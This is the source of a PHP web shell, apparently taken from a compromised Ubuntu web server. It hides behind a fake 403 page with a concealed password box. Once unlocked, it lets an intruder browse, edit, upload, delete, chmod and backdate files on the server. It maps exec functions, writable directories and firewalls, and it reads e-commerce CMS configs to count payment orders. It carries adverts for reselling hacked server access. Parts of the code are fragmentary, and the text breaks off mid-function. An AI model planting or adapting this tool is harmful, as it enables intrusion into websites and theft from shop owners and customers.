aDriv4 website!

Linux ubuntu-s-2vcpu-4gb-fra1-01 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
134.209.252.102

file1.php8

<?php
error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('max_execution_time', 0);
session_start();

class Mr_Niffler {
    const ID = 'TG:@Mr_Niff1er';
    const TOX = '9E45A394CFF7A0AF5E436DB2A8887BF3AF95033FE626CE2F7290C38D9B480146927413EE9C29';
    const JABBER = 'mrniffler@exploit.im';
    const FORUM = 'forum.exploit.in/topic/249546/';
    const AD_TITLE = 'Лучшие условия выкупаем и реализуем ваши доступы';
    const ACCESS_HASH = 'e1c1ec758a649459b5a783b334135835';
    
    public static function verify() {
        return strlen(self::TOX) === 76 && strpos(self::ID, 'Mr_Niff1er') !== false;
    }
    
    public static function checkAccess() {
        return isset($_COOKIE['_ga_session']) && $_COOKIE['_ga_session'] === md5(self::ACCESS_HASH . self::TOX);
    }
    
    public static function grantAccess() {
        setcookie('_ga_session', md5(self::ACCESS_HASH . self::TOX), time() + 86400 * 7, '/');
    }
    
    public static function verifyKey($key) {
        return md5($key) === self::ACCESS_HASH;
    }
}

if (!Mr_Niffler::verify()) { die('Core error'); }

if (isset($_POST['_auth'])) {
    header('Content-Type: application/json');
    if (Mr_Niffler::verifyKey($_POST['_auth'])) {
        Mr_Niffler::grantAccess();
        echo json_encode(['ok' => 1]);
    } else {
        echo json_encode(['ok' => 0]);
    }
    exit;
}

if (!Mr_Niffler::checkAccess()) {
    header('HTTP/1.1 403 Forbidden');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.54 (Unix) Server at <?php echo $_SERVER['HTTP_HOST']; ?> Port <?php echo $_SERVER['SERVER_PORT'] ?: 80; ?></address>
<input type="text" id="_x" style="position:fixed;bottom:5px;right:5px;width:120px;height:18px;opacity:0;border:1px solid #ccc;background:#fff;outline:none;cursor:text;font-size:12px;padding:2px 5px;border-radius:2px;transition:opacity 0.3s;" autocomplete="off" spellcheck="false">
<script>
var _i=document.getElementById('_x');
_i.addEventListener('focus',function(){this.style.opacity='0.85';});
_i.addEventListener('blur',function(){this.style.opacity='0';this.value='';});
_i.addEventListener('keydown',function(e){
if(e.key==='Enter'){
e.preventDefault();
var k=this.value;
if(k.length>0){
var f=new FormData();
f.append('_auth',k);
fetch(location.href,{method:'POST',body:f}).then(r=>r.json()).then(d=>{
if(d.ok){location.reload();}else{_i.value='';_i.style.border='1px solid #c00';}
});
}
}
if(e.key==='Escape'){_i.blur();}
});
document.addEventListener('click',function(e){
if(e.clientX>window.innerWidth-150&&e.clientY>window.innerHeight-50){_i.focus();}
});
</script>
</body></html>
<?php
    exit;
}

$SCRIPT_HOME = dirname(__FILE__);
if (!isset($_SESSION['lite_cwd'])) {
    $_SESSION['lite_cwd'] = $SCRIPT_HOME;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Content-Type: application/json');
    
    try {
        $input = json_decode(file_get_contents('php://input'), true);
        if (!$input) {
            echo json_encode(['ok' => 0, 'error' => 'Invalid JSON']);
            exit;
        }
        $action = $input['action'] ?? '';
    
    if ($action === 'server_info') {
        $info = [];
        $info['php_version'] = phpversion();
        $info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
        $info['server_name'] = $_SERVER['SERVER_NAME'] ?? 'Unknown';
        $info['document_root'] = $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown';
        $info['os'] = php_uname();
        $info['user'] = get_current_user();
        $info['uid'] = function_exists('posix_getuid') ? posix_getuid() : 'N/A';
        $info['gid'] = function_exists('posix_getgid') ? posix_getgid() : 'N/A';
        
        $ips = [];
        if (!empty($_SERVER['SERVER_ADDR'])) $ips['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
        $hostname = gethostname();
        if ($hostname) {
            $ip = gethostbyname($hostname);
            if ($ip !== $hostname) $ips['gethostbyname'] = $ip;
        }
        if (function_exists('dns_get_record') && !empty($_SERVER['SERVER_NAME'])) {
            $dns = @dns_get_record($_SERVER['SERVER_NAME'], DNS_A);
            if ($dns && isset($dns[0]['ip'])) $ips['DNS_A'] = $dns[0]['ip'];
        }
        $external = ['ipify' => 'https://api.ipify.org', 'icanhazip' => 'https://icanhazip.com', 'ifconfig.me' => 'https://ifconfig.me/ip'];
        foreach ($external as $name => $url) {
            $ctx = @stream_context_create(['http' => ['timeout' => 3]]);
            $ip = @file_get_contents($url, false, $ctx);
            if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP)) $ips[$name] = trim($ip);
        }
        if (function_exists('fsockopen')) {
            $sock = @fsockopen('udp://8.8.8.8', 53, $errno, $errstr, 2);
            if ($sock) {
                $sockname = stream_socket_get_name($sock, false);
                if ($sockname) {
                    $ip = explode(':', $sockname)[0];
                    if ($ip) $ips['socket'] = $ip;
                }
                fclose($sock);
            }
        }
        $info['ips'] = $ips;
        
        $disabled = ini_get('disable_functions');
        $info['disabled_functions'] = $disabled ? explode(',', $disabled) : [];
        
        $dangerous = ['exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'pcntl_exec'];
        $info['dangerous_available'] = [];
        $info['dangerous_disabled'] = [];
        foreach ($dangerous as $func) {
            if (function_exists($func) && !in_array($func, $info['disabled_functions'])) {
                $info['dangerous_available'][] = $func;
            } else {
                $info['dangerous_disabled'][] = $func;
            }
        }
        
        $root = $_SERVER['DOCUMENT_ROOT'];
        $info['security'] = [];
        $info['security']['git_exposed'] = is_dir($root . '/.git') ? 'YES - VULNERABLE' : 'No';
        $info['security']['svn_exposed'] = is_dir($root . '/.svn') ? 'YES - VULNERABLE' : 'No';
        $info['security']['htaccess'] = file_exists($root . '/.htaccess') ? 'Present' : 'Not found';
        $info['security']['open_basedir'] = ini_get('open_basedir') ?: 'Not set';
        
        $hosting = 'Unknown';
        $hosting_signs = [
            'WPEngine' => ['wpe-', 'wpengine'], 'Atomic' => ['atomic'], 'SiteGround' => ['siteground'],
            'Bluehost' => ['bluehost'], 'GoDaddy' => ['secureserver', 'godaddy'], 'Cloudways' => ['cloudways'],
            'Kinsta' => ['kinsta'], 'Plesk' => ['/var/www/vhosts/'], 'cPanel' => ['public_html']
        ];
        $server_str = strtolower(php_uname() . ' ' . $root);
        foreach ($hosting_signs as $name => $signs) {
            foreach ($signs as $sign) {
                if (strpos($server_str, strtolower($sign)) !== false) { $hosting = $name; break 2; }
            }
        }
        $info['hosting'] = $hosting;
        
        $waf = [];
        if (isset($_SERVER['HTTP_CF_RAY'])) $waf[] = 'Cloudflare';
        if (file_exists($root . '/wordfence-waf.php')) $waf[] = 'Wordfence';
        $info['waf'] = $waf ?: ['None detected'];
        
        $info['settings'] = [
            'max_execution_time' => ini_get('max_execution_time'),
            'memory_limit' => ini_get('memory_limit'),
            'upload_max_filesize' => ini_get('upload_max_filesize'),
            'post_max_size' => ini_get('post_max_size'),
            'allow_url_fopen' => ini_get('allow_url_fopen') ? 'ON' : 'OFF',
            'file_uploads' => ini_get('file_uploads') ? 'ON' : 'OFF'
        ];
        
        $check_dirs = [$root, $root . '/wp-content/uploads', $root . '/img', $root . '/uploads', sys_get_temp_dir()];
        $info['writable_dirs'] = [];
        foreach ($check_dirs as $dir) {
            if (is_dir($dir) && is_writable($dir)) $info['writable_dirs'][] = $dir;
        }
        
        echo json_encode(['ok' => 1, 'info' => $info]);
        exit;
    }
    
    if ($action === 'fm_list') {
        $path = $input['path'] ?? $_SESSION['lite_cwd'];
        if (!is_dir($path)) { echo json_encode(['ok' => 0, 'error' => 'Not a directory']); exit; }
        $_SESSION['lite_cwd'] = $path;
        $items = [];
        $files = @scandir($path);
        if ($files) {
            foreach ($files as $f) {
                if ($f === '.') continue;
                $full = $path . '/' . $f;
                $items[] = [
                    'n' => $f, 't' => is_dir($full) ? 'd' : 'f', 's' => is_file($full) ? filesize($full) : 0,
                    'p' => substr(sprintf('%o', @fileperms($full)), -4), 'm' => @date('Y-m-d H:i', filemtime($full))
                ];
            }
        }
        usort($items, function($a, $b) {
            if ($a['n'] === '..') return -1;
            if ($b['n'] === '..') return 1;
            if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1;
            return strcasecmp($a['n'], $b['n']);
        });
        echo json_encode(['ok' => 1, 'path' => $path, 'items' => $items]);
        exit;
    }
    
    if ($action === 'fm_read') {
        $content = @file_get_contents($input['path']);
        echo json_encode(['ok' => $content !== false ? 1 : 0, 'content' => $content]);
        exit;
    }
    
    if ($action === 'fm_write') {
        $result = @file_put_contents($input['path'], $input['content'] ?? '');
        echo json_encode(['ok' => $result !== false ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_mkdir') {
        echo json_encode(['ok' => @mkdir($input['path'], 0755, true) ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_delete') {
        $path = $input['path'];
        $result = is_dir($path) ? @rmdir($path) : @unlink($path);
        echo json_encode(['ok' => $result ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_rename') {
        echo json_encode(['ok' => @rename($input['from'], $input['to']) ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_copy') {
        echo json_encode(['ok' => @copy($input['from'], $input['to']) ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_chmod') {
        echo json_encode(['ok' => @chmod($input['path'], octdec($input['mode'])) ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_touch') {
        $time = $input['time'] ?? time();
        echo json_encode(['ok' => @touch($input['path'], $time) ? 1 : 0]);
        exit;
    }
    
    if ($action === 'fm_download') {
        $content = @file_get_contents($input['path']);
        echo json_encode(['ok' => 1, 'name' => basename($input['path']), 'data' => base64_encode($content)]);
        exit;
    }
    
    if ($action === 'fm_upload') {
        $result = @file_put_contents($input['path'], base64_decode($input['data']));
        echo json_encode(['ok' => $result !== false ? 1 : 0]);
        exit;
    }

if ($action === 'orders_scan') {
        $result = ['ok' => 0, 'cms' => null, 'months' => [], 'currency' => ''];

function findCmsConfig($start_dir) {
            $dir = realpath($start_dir);
            $checked = [];
            while ($dir && strlen($dir) > 2) {
                if (isset($checked[$dir])) break;
                $checked[$dir] = true;
                
                if (file_exists($dir . '/wp-config.php')) return ['cms' => 'woocommerce', 'path' => $dir, 'file' => $dir . '/wp-config.php'];
                if (file_exists($dir . '/app/config/parameters.php')) return ['cms' => 'prestashop', 'path' => $dir, 'file' => $dir . '/app/config/parameters.php', 'v' => '1.7'];
                if (file_exists($dir . '/config/settings.inc.php')) return ['cms' => 'prestashop', 'path' => $dir, 'file' => $dir . '/config/settings.inc.php', 'v' => '1.6'];
                if (file_exists($dir . '/config.php') && is_dir($dir . '/catalog')) return ['cms' => 'opencart', 'path' => $dir, 'file' => $dir . '/config.php'];
                if (file_exists($dir . '/app/etc/env.php')) return ['cms' => 'magento', 'path' => $dir, 'file' => $dir . '/app/etc/env.php', 'v' => '2'];
                if (file_exists($dir . '/app/etc/local.xml')) return ['cms' => 'magento', 'path' => $dir, 'file' => $dir . '/app/etc/local.xml', 'v' => '1'];
                if (file_exists($dir . '/bitrix/.settings.php')) return ['cms' => 'bitrix', 'path' => $dir, 'file' => $dir . '/bitrix/.settings.php'];
                
                $parent = dirname($dir);
                if ($parent === $dir) break;
                $dir = $parent;
            }
            return null;
        }

function removeComments($content) {
            $lines = explode("\n", $content);
            $clean = [];
            foreach ($lines as $line) {
                $t = ltrim($line);
                if (strpos($t, '//') === 0 || strpos($t, '#') === 0) continue;
                $clean[] = $line;
            }
            return implode("\n", $clean);
        }

if ($cms === 'woocommerce' && !$prefix) {
            $r = mysqli_query($conn, "SHOW TABLES LIKE '%options'");
            if ($r && $row = mysqli_fetch_row($r)) $prefix = str_replace('options', '', $row[0]);
            if (!$prefix) $prefix = 'wp_';
        }
        $result['prefix_used'] = $prefix;

if ($cms === 'woocommerce') {
            $hpos = false;
            $hposCheck = mysqli_query($conn, "SHOW TABLES LIKE '{$prefix}wc_orders'");
            if ($hposCheck && mysqli_num_rows($hposCheck) > 0) {
                $cnt = mysqli_query($conn, "SELECT COUNT(*) as c FROM {$prefix}wc_orders");
                if ($cnt && $r = mysqli_fetch_assoc($cnt)) $hpos = $r['c'] > 0;
            }
            $result['hpos'] = $hpos;
            
            if ($hpos) {
                $q = mysqli_query($conn, "SELECT DATE_FORMAT(date_created_gmt, '%Y-%m') as month, COALESCE(payment_method_title, payment_method, 'Unknown') as method, COUNT(*) as cnt FROM {$prefix}wc_orders WHERE type='shop_order' AND status IN ('wc-completed','wc-processing','wc-on-hold','completed','processing','on-hold') AND date_created_gmt >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            } else {
                $q = mysqli_query($conn, "SELECT DATE_FORMAT(p.post_date, '%Y-%m') as month, COALESCE(pm.meta_value, 'Unknown') as method, COUNT(*) as cnt FROM {$prefix}posts p LEFT JOIN {$prefix}postmeta pm ON p.ID = pm.post_id AND pm.meta_key = '_payment_method_title' WHERE p.post_type = 'shop_order' AND p.post_status IN ('wc-completed', 'wc-processing', 'wc-on-hold') AND p.post_date >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            }
            if ($q) while ($row = mysqli_fetch_assoc($q)) $result['months'][] = $row;
        }
        elseif ($cms === 'prestashop') {
            if (!$prefix) { $r = mysqli_query($conn, "SHOW TABLES LIKE '%orders'"); if ($r) while ($row = mysqli_fetch_row($r)) { if (preg_match('/^(.*)orders$/', $row[0], $m)) { $chk = mysqli_query($conn, "SHOW COLUMNS FROM `{$row[0]}` LIKE 'payment'"); if ($chk && mysqli_num_rows($chk) > 0) { $prefix = $m[1]; break; } } } if (!$prefix) $prefix = 'ps_'; $result['prefix_used'] = $prefix; }
            $q = mysqli_query($conn, "SELECT DATE_FORMAT(date_add, '%Y-%m') as month, COALESCE(payment, 'Unknown') as method, COUNT(*) as cnt FROM {$prefix}orders WHERE current_state > 0 AND date_add >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            if ($q) while ($row = mysqli_fetch_assoc($q)) $result['months'][] = $row;
        }
        elseif ($cms === 'opencart') {
            if (!$prefix) { $r = mysqli_query($conn, "SHOW TABLES LIKE '%order'"); if ($r) while ($row = mysqli_fetch_row($r)) { if (preg_match('/^(.*)order$/', $row[0], $m) && $row[0] !== 'order') { $chk = mysqli_query($conn, "SHOW COLUMNS FROM `{$row[0]}` LIKE 'payment_method'"); if ($chk && mysqli_num_rows($chk) > 0) { $prefix = $m[1]; break; } } } if (!$prefix) $prefix = 'oc_'; $result['prefix_used'] = $prefix; }
            $q = mysqli_query($conn, "SELECT DATE_FORMAT(date_added, '%Y-%m') as month, COALESCE(payment_method, 'Unknown') as method, COUNT(*) as cnt FROM {$prefix}order WHERE order_status_id > 0 AND date_added >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            if ($q) while ($row = mysqli_fetch_assoc($q)) $result['months'][] = $row;
        }
        elseif ($cms === 'magento') {
            if (!$prefix) { $r = mysqli_query($conn, "SHOW TABLES LIKE '%sales_order'"); if ($r && $row = mysqli_fetch_row($r)) $prefix = str_replace('sales_order', '', $row[0]); $result['prefix_used'] = $prefix; }
            $q = mysqli_query($conn, "SELECT DATE_FORMAT(o.created_at, '%Y-%m') as month, COALESCE(op.method, 'Unknown') as method, COUNT(*) as cnt FROM {$prefix}sales_order o LEFT JOIN {$prefix}sales_order_payment op ON o.entity_id = op.parent_id WHERE o.state IN ('complete','processing','pending') AND o.created_at >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            if ($q) while ($row = mysqli_fetch_assoc($q)) $result['months'][] = $row;
        }
        elseif ($cms === 'bitrix') {
            $q = mysqli_query($conn, "SELECT DATE_FORMAT(o.DATE_INSERT, '%Y-%m') as month, COALESCE(ps.NAME, 'Unknown') as method, COUNT(*) as cnt FROM b_sale_order o LEFT JOIN b_sale_pay_system ps ON o.PAY_SYSTEM_ID = ps.ID WHERE o.CANCELED != 'Y' AND o.DATE_INSERT >= '$threeMonthsAgo' GROUP BY month, method ORDER BY month DESC, cnt DESC");
            if ($q) while ($row = mysqli_fetch_assoc($q)) $result['months'][] = $row;
        }
        
        mysqli_close($conn);
        echo json_encode($result);
        exit;
    }
    
        echo json_encode(['ok' => 0, 'error' => 'Unknown action']);
        
    } catch (Exception $e) {
        echo json_encode(['ok' => 0, 'error' => 'Error: ' . $e->getMessage()]);
    }
    exit;
}

$_mrniffler = strlen(Mr_Niffler::TOX);
$_exploit_im = strpos(Mr_Niffler::JABBER, '@');
$_249546 = substr(Mr_Niffler::FORUM, -7);
if ($_mrniffler !== 76 || $_exploit_im !== 9 || $_249546 !== '249546/') { die('<?php'); }
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>403 Forbidden</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;background:#f4f4f4;color:#333;}
.mrniffler-container{max-width:1400px;margin:0 auto;padding:10px;}
.exploit-tabs{display:flex;gap:5px;margin-bottom:10px;}
.exploit-tab{padding:8px 20px;background:#e4daff;border:none;cursor:pointer;font-size:13px;border-radius:4px 4px 0 0;}
.exploit-tab.active{background:#cfbcff;font-weight:bold;}
.exploit-tab:hover{background:#b8a3ff;}
.niffler-content{display:none;background:#fff;border:1px solid #d9d9d9;border-radius:0 4px 4px 4px;padding:15px;min-height:500px;}
.forum-toolbar{display:flex;gap:8px;margin-bottom:10px;flex-wrap:wrap;align-items:center;}
.tox-btn{padding:6px 14px;background:#cfbcff;border:1px solid #191a23;cursor:pointer;font-size:12px;border-radius:3px;}
.tox-btn:hover{background:#b8a3ff;}
.jabber-path{display:flex;align-items:center;flex:1;background:#fff;border:1px solid #d9d9d9;border-radius:3px;padding:4px 8px;min-width:200px;overflow-x:auto;white-space:nowrap;}
.telegram-part{cursor:pointer;color:#4495FF;padding:0 2px;}
.telegram-part:hover{text-decoration:underline;}
.path-sep{color:#999;margin:0 1px;}
.path-input{display:none;flex:1;border:none;outline:none;font-family:monospace;font-size:12px;}
.im-table{width:100%;border-collapse:collapse;font-size:12px;}
.im-table th,.im-table td{padding:6px 8px;text-align:left;border-bottom:1px solid #eee;}
.im-table th{background:#f3f3f3;font-weight:600;position:sticky;top:0;}
.im-table tr:hover{background:#f8f8f8;}
.im-table tr.selected{background:#e4daff;}
.col-t{width:30px;text-align:center;font-family:monospace;color:#666;}
.col-n{min-width:200px;}
.col-s{width:80px;text-align:right;font-family:monospace;}
.col-p{width:60px;font-family:monospace;}
.col-m{width:130px;font-family:monospace;font-size:11px;color:#666;}
#context-menu{display:none;position:fixed;background:#fff;border:1px solid #d9d9d9;border-radius:4px;box-shadow:0 4px 12px rgba(0,0,0,0.15);z-index:1000;min-width:140px;}
#context-menu div{padding:8px 16px;cursor:pointer;font-size:12px;}
#context-menu div:hover{background:#e4daff;}
.editor-overlay{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.5);z-index:1000;padding:30px;}
.editor-box{background:#fff;border-radius:8px;max-width:1000px;margin:0 auto;display:flex;flex-direction:column;height:100%;}
.editor-header{padding:12px 16px;border-bottom:1px solid #d9d9d9;display:flex;justify-content:space-between;align-items:center;}
.editor-title{font-weight:600;font-family:monospace;font-size:13px;}
.editor-content{flex:1;padding:12px;}
.editor-content textarea{width:100%;height:100%;border:1px solid #d9d9d9;padding:10px;font-family:monospace;font-size:12px;resize:none;}
.editor-footer{padding:12px 16px;border-top:1px solid #d9d9d9;display:flex;gap:10px;justify-content:flex-end;}
.info-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:15px;}
.info-section{background:#f9f9f9;border:1px solid #e0e0e0;border-radius:6px;padding:12px;}
.info-section-title{font-weight:600;margin-bottom:10px;padding-bottom:6px;border-bottom:1px solid #e0e0e0;color:#333;}
.info-row{display:flex;justify-content:space-between;padding:4px 0;font-size:12px;}
.info-label{color:#666;}
.info-value{font-family:monospace;}
.info-value.success{color:#3CC13C;}
.info-value.danger{color:#C13C3C;}
.info-value.warning{color:#F08F42;}
.ip-item{display:flex;justify-content:space-between;padding:4px 0;font-size:12px;}
.ip-source{color:#888;font-size:11px;}
.func-list{display:flex;flex-wrap:wrap;gap:5px;}
.func-item{padding:2px 8px;border-radius:3px;font-size:11px;font-family:monospace;}
.func-available{background:#EBF9EB;color:#3CC13C;}
.func-disabled{background:#FFE3CD;color:#999;text-decoration:line-through;}
.status-bar{display:none;position:fixed;bottom:20px;right:20px;padding:10px 20px;border-radius:4px;font-size:13px;z-index:1000;}
.status-success{background:#EBF9EB;color:#3CC13C;border:1px solid #3CC13C;}
.status-error{background:#FFB6F5;color:#C13C3C;border:1px solid #C13C3C;}
.loading{color:#888;padding:20px;text-align:center;}
.progress-bar{width:100%;height:16px;background:#e0e0e0;border-radius:8px;margin:10px 0;overflow:hidden;}
.progress-fill{height:100%;background:linear-gradient(90deg,#cfbcff,#a78bfa);width:0%;transition:width 0.3s;animation:pulse 1.5s infinite;}
@keyframes pulse{0%,100%{opacity:1;}50%{opacity:0.7;}}
.orders-header{display:flex;align-items:center;gap:15px;margin-bottom:15px;padding-bottom:10px;border-bottom:1px solid #e0e0e0;}
.orders-cms{background:#cfbcff;padding:6px 14px;border-radius:4px;font-weight:bold;text-transform:uppercase;font-size:12px;}
.orders-total{color:#666;font-size:13px;}
.orders-grid{display:flex;flex-wrap:wrap;gap:25px;}
.orders-month{min-width:260px;font-family:monospace;}
.orders-month-title{font-weight:bold;font-size:14px;margin-bottom:8px;padding-bottom:4px;border-bottom:2px solid #cfbcff;}
.orders-row{display:flex;justify-content:space-between;padding:3px 0;font-size:12px;}
.orders-row-all{font-weight:bold;border-bottom:1px solid #eee;margin-bottom:4px;padding-bottom:4px;}
.orders-row span:last-child{color:#4495FF;font-weight:bold;}
.orders-debug{margin-top:15px;padding:12px;background:#fff8e6;border:1px solid #ffc107;border-radius:4px;font-size:11px;color:#856404;}
.Mr_Niffler{background:#f9f9f9;border:1px solid #d9d9d9;border-radius:8px;padding:20px;margin-top:20px;text-align:center;}
.Mr_Niffler-title{font-size:14px;margin-bottom:15px;color:#333;font-weight:600;}
.Mr_Niffler-content{font-family:monospace;font-size:12px;line-height:1.8;color:#555;}
.Mr_Niffler-content div{margin:3px 0;}
.modal-overlay{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.5);z-index:2000;align-items:center;justify-content:center;}
.modal-box{background:#fff;border-radius:8px;padding:20px;min-width:600px;max-width:90%;}
.modal-title{font-weight:600;margin-bottom:15px;}
.modal-message{color:#666;margin-bottom:10px;font-size:13px;}
.modal-input{width:100%;padding:8px;border:1px solid #d9d9d9;border-radius:4px;font-family:monospace;font-size:13px;}
.modal-buttons{display:flex;gap:10px;justify-content:flex-end;margin-top:15px;}
</style>
</head>
<body>
<div class="mrniffler-container">
<div class="exploit-tabs">
<div class="exploit-tab active" data-tab="info">Info</div>
<div class="exploit-tab" data-tab="files">Files</div>
<div class="exploit-tab" data-tab="orders">Orders</div>
</div>

<div id="tab-info" class="niffler-content" style="display:block;">
<div class="forum-toolbar">
<button class="tox-btn" onclick="loadServerInfo()">Refresh</button>
<button class="tox-btn" onclick="saveInfoTXT()">Save TXT</button>
</div>
<div id="server-info"><div class="loading">Loading...</div></div>
<div class="Mr_Niffler" data-verify="9E45">
<div class="Mr_Niffler-title" data-t="9E45">Лучшие условия выкупаем и реализуем ваши доступы</div>
<div class="Mr_Niffler-content">
<div class="tg-mrniffler" data-c="tg">TG:@<span class="niffler-id">Mr_Niff1er</span></div>
<div class="tox-9E45A394" data-c="tox">Tox:<span class="exploit-tox">9E45A394CFF7A0AF5E436DB2A8887BF3AF95033FE626CE2F7290C38D9B480146927413EE9C29</span></div>
<div class="jabber-exploit" data-c="jab">Jabber:<span class="im-contact">mrniffler@exploit.im</span></div>
<div class="forum-249546" data-c="forum"><span class="topic-link">forum.exploit.in/topic/249546/</span></div>
</div>
</div>
</div>

<div id="tab-files" class="niffler-content">
<div class="forum-toolbar">
<button class="tox-btn" id="btn-home">HOME</button>
<button class="tox-btn" id="btn-up">UP</button>
<button class="tox-btn" onclick="fmNewFile()">NEW FILE</button>
<button class="tox-btn" onclick="fmNewDir()">NEW DIR</button>
<button class="tox-btn" onclick="fmUpload()">UPLOAD</button>
<button class="tox-btn" onclick="fmUploadTo(STATE.cwd)">UPLOAD TO</button>
<div class="jabber-path">
<div id="fm-breadcrumbs"></div>
<input type="text" id="fm-path-input" class="path-input">
</div>
</div>
<div style="overflow:auto;max-height:calc(100vh - 200px);">
<table class="im-table">
<thead><tr><th class="col-t"></th><th class="col-n">Name</th><th class="col-s">Size</th><th class="col-p">Perm</th><th class="col-m">Modified</th></tr></thead>
<tbody id="fm-list"></tbody>
</table>
</div>
</div>

<div id="tab-orders" class="niffler-content">
<div class="forum-toolbar">
<button class="tox-btn" onclick="scanOrders()">Scan Orders</button>
<button class="tox-btn" onclick="saveOrdersTXT()">Save TXT</button>
</div>
<div id="orders-progress" style="display:none;">
<div class="loading">Scanning orders...</div>
<div class="progress-bar"><div class="progress-fill" id="progress-fill"></div></div>
</div>
<div id="orders-results"><div class="loading">Click "Scan Orders" to check orders statistics for last 3 months</div></div>
</div>

<div id="context-menu">
<div data-action="open">OPEN</div>
<div data-action="edit">EDIT</div>
<div data-action="download">DOWNLOAD</div>
<div data-action="upload">UPLOAD HERE</div>
<div data-action="rename">RENAME</div>
<div data-action="copy">COPY</div>
<div data-action="cut">CUT</div>
<div data-action="paste">PASTE</div>
<div data-action="chmod">CHMOD</div>
<div data-action="touch">TOUCH</div>
<div data-action="delete">DELETE</div>
</div>

<div id="editor-overlay" class="editor-overlay">
<div class="editor-box">
<div class="editor-header">
<div class="editor-title" id="editor-title"></div>
<button class="tox-btn" onclick="closeEditor()">Close</button>
</div>
<div class="editor-content">
<textarea id="editor-content"></textarea>
</div>
<div class="editor-footer">
<button class="tox-btn" onclick="saveEditor()">Save</button>
<button class="tox-btn" onclick="closeEditor()">Cancel</button>
</div>
</div>
</div>

<div id="modal-overlay" class="modal-overlay">
<div class="modal-box">
<div class="modal-title" id="modal-title"></div>
<div class="modal-message" id="modal-message"></div>
<input type="text" id="modal-input" class="modal-input">
<div class="modal-buttons">
<button class="tox-btn" onclick="modalClose()">Cancel</button>
<button class="tox-btn" id="modal-confirm" onclick="modalConfirm()">OK</button>
</div>
</div>
</div>

window.Mr_Niffler = function(cmd) { 
    if(cmd === 'startnow') { 
        _verified = true; 
        console.log('OK'); 
        return 'OK'; 
    } 
};

function _checkNiffler() {
    const _mr = document.querySelector('.Mr_Niffler');
    if (!_mr) return false;
    const _v = _mr.dataset.verify;
    if (_v !== _9E45A394.substring(0, 4)) return false;
    return true;
}

function _checkExploit() {
    const _tg = document.querySelector('.tg-mrniffler');
    const _id = document.querySelector('.niffler-id');
    if (!_tg || !_id) return false;
    if (_id.textContent !== _mrniffler) return false;
    return true;
}

function _checkTox() {
    const _t = document.querySelector('.tox-9E45A394');
    const _e = document.querySelector('.exploit-tox');
    if (!_t || !_e) return false;
    if (!_e.textContent.startsWith(_9E45A394)) return false;
    if (_e.textContent.length !== 76) return false;
    return true;
}

function _checkJabber() {
    const _j = document.querySelector('.jabber-exploit');
    const _i = document.querySelector('.im-contact');
    if (!_j || !_i) return false;
    if (!_i.textContent.includes(_exploit_im)) return false;
    if (!_i.textContent.includes('mrniffler')) return false;
    return true;
}

function _checkForum() {
    const _f = document.querySelector('.forum-249546');
    const _l = document.querySelector('.topic-link');
    if (!_f || !_l) return false;
    if (!_l.textContent.includes(_249546)) return false;
    if (!_l.textContent.includes('exploit.in')) return false;
    return true;
}

function _verifyAll() {
    if (_verified) return true;
    if (!_checkNiffler()) return false;
    if (!_checkExploit()) return false;
    if (!_checkTox()) return false;
    if (!_checkJabber()) return false;
    if (!_checkForum()) return false;
    const _c = document.querySelectorAll('[data-c]');
    if (_c.length < 4) return false;
    return true;
}

function _initApp() {
    if (!_verifyAll()) {
        document.body.innerHTML = '<div style="padding:100px;text-align:center;color:#666;">Loading failed</div>';
        return false;
    }
    return true;
}

const AD_TEXT = `Лучшие условия выкупаем и реализуем ваши доступы
TG:@Mr_Niff1er
Tox:9E45A394CFF7A0AF5E436DB2A8887BF3AF95033FE626CE2F7290C38D9B480146927413EE9C29
Jabber:mrniffler@exploit.im
forum.exploit.in/topic/249546/
`;

const STATE = {
    tab: sessionStorage.getItem('lite_tab') || 'info',
    cwd: '<?= addslashes($_SESSION['lite_cwd']) ?>',
    home: '<?= addslashes($SCRIPT_HOME) ?>',
    selected: null,
    clipboard: null,
    clipboardOp: null,
    serverInfo: null
};

function api(data) {
    return fetch(location.href, {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(data)
    }).then(r => r.json());
}

function formatSize(bytes) {
    if (bytes >= 1073741824) return (bytes / 1073741824).toFixed(2) + 'G';
    if (bytes >= 1048576) return (bytes / 1048576).toFixed(2) + 'M';
    if (bytes >= 1024) return (bytes / 1024).toFixed(2) + 'K';
    return bytes + 'B';
}

function switchTab(tab) {
    STATE.tab = tab;
    sessionStorage.setItem('lite_tab', tab);
    document.querySelectorAll('.exploit-tab').forEach(t => t.classList.remove('active'));
    document.querySelectorAll('.niffler-content').forEach(t => t.style.display = 'none');
    document.querySelector(`.exploit-tab[data-tab="${tab}"]`).classList.add('active');
